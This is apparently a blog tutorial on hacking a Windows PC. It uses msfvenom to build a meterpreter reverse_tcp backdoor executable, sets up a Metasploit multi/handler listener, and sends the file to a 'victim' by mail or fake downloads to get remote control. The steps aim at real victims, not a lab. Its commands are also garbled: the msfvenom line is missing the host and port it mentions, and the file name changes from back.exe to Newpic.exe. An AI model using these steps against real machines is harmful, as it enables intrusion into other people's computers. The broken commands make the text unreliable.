How to attack Windows machine with Metasploit on Kali Linux
Step 1: "Creating the Payload"
- To Hack Window We Need To Create A Payload That Will Act As A Backdoor For Us To Get Into That PC.
- To Create Payload For Windows.
Open Terminal And Type
msfvenom -p windows/meterpreter/reverse_tcp - platform windows-a x86 -f exe - o /root/Desktop/back.exe
- 192.168.0.101 Is My And Ip Address And 4444 Is The Port Number That I Want To Use.
- Now You Will Have A New Payload File Named Newpic.exe In Root Folder.
- You Need To Deliver This Malicious File To Your Victim.
Step 2: "Starting The Metasploit Framework Console"
- For Controlling The Payload We Need To Start The Metasploit Framework Concole Which Is Prebuilt In Kali Linux.
- To Start The Metasploit Framework Console.
In The Terminal Type "Msfconsole".
Step 3: "Choosing The Exploit Method"
- As I Have Said The Metasploit Framework Console Has Many Exploitation Method.
- In This We Will Use The Multi Handler.
- Type: "use exploit/multi/handler"
Step 4: "Setting The Payload"
- In Above Step We Set Our Exploitation Method. In This Step We Need To Specify The Payload That We Have Created.
- Type : "Set Payload Windows/Meterpreter/Reverse_tcp"
Step 5: "Providing Ip & Port For Backdooring."
- In This Step We Need To Provide The Ip Address Of Our Machine So That The Payload Will Connect To Our System.
- To Find The Ip Address, Open Terminal And Type Ifconfig, And Copy Your Ip Address.
- Then We Have To Set It In The Msfconsole, To Find The "Ip Address" Of Your Kali, Open Terminal And Type "Ifconfig", And Copy Your Ip Address.
- Type "Set LHOST 192.168.0.101"(ip address)
- Then We Have To Set Lport In The Msfconsole, So Type "Set LPORT 4444" (port number)
Step 6: "Sending The File And Exploiting"
- After We Have Given All The Information. We Need To Send The ".exe" File We Created Before To The Victim Via Mail Or Fake Downloads.
- Make Sure That The Victim Install The Files.
- After Doing It, In The Msfconsole Command, Type "Exploit"
- After This Command It Will Show You The Victim Terminal And You Can Control It.
Step 7: "Now Wait For Your Victim To Click On Your Payload File."
- When Victim Click And Open The File You Will Get A Session.
- Type "Sysinfo" To See The Information About PC Of Victim.
Comments
Post a Comment